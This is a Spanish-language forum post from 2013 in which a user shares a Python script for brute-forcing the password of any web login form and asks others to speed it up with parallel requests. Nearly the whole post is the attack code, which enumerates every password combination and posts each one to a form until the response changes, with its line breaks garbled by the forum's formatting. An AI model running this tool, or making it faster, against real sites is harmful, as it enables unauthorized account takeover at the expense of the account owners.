Ver Mensaje Individual
  #1 (permalink)  
Antiguo 31/05/2013, 09:31
Avatar de roal40
roal40
 
Fecha de Ingreso: enero-2012
Mensajes: 61
Antigüedad: 14 años, 9 meses
Puntos: 4
Fuerza bruta formularios web

Hola buenas, he creado un programa para reventar contraseñas de cualquier formulario web.

La cuestión es que funciona muy lento, pero funciona.

Os dejo el codigo, la cuestión es a ver quien puede acelerar mi programa, o al menos hacer varias peticiones a la vez y no que se tenga que esperar a que acabe una solicitud para enviar otra.

Código PHP:
#!/usr/bin/python
import os,sys,urllib
import itertools
import urllib
.request,urllib.parse,urllib.error
def bruteforce
(charset, maxlength):
    return (
''.join(candidate)
    for 
candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
    for 
i in range(1, maxlength + 1))) 
print(
'1º Numérica')
print(
'2º Alfabética')
print(
'3º Alfanumérica')
typep = input("Introduce numero del tipo de metodo que quieres: ")
if 
typep=='1':
    
lista='0123456789'
if typep=='2':
    
lista='qwertyuiopasdfghjklñzxcvbnm'
if typep=='3':
    
lista='qwertyuiopasdfghjklñzxcvbnm0123456789'
maxi = int(input("Introduce el máximo de carácteres de la contraseña: "))
usuarioi = input("Introduce el nombre del formulario email / usuario: ") 
clavei = input("Introduce el nombre del formulario contraseña: ")
url = input("Introduce la url del action del formulario: ")
user = input("Introduce email / usuario: ")
print(
'Conectando a', url)
for 
password in bruteforce(lista, maxi):
    try:
        
password=''.join(password) 
        print(
'Probando ',user,' : ',password)
        
data = urllib.parse.urlencode({usuarioi: user, clavei: password})
        
binary_data = data.encode('utf8')
        
response = urllib.request.urlopen(url)
        
html2 = response.read()
        
req = urllib.request.Request(url, binary_data)
        
req.add_header('Cookie', 'security=low; PHPSESSID=fefsfesfseee')
        
response1 = urllib.request.urlopen(req)
        
html1 = response1.read()
        if 
html2 != html1:
            print(
'La clave es ',password)
            
pas = open('done.txt','a')
            
pas.write(password)
            
pas.close()
            break
    
except:
        
pass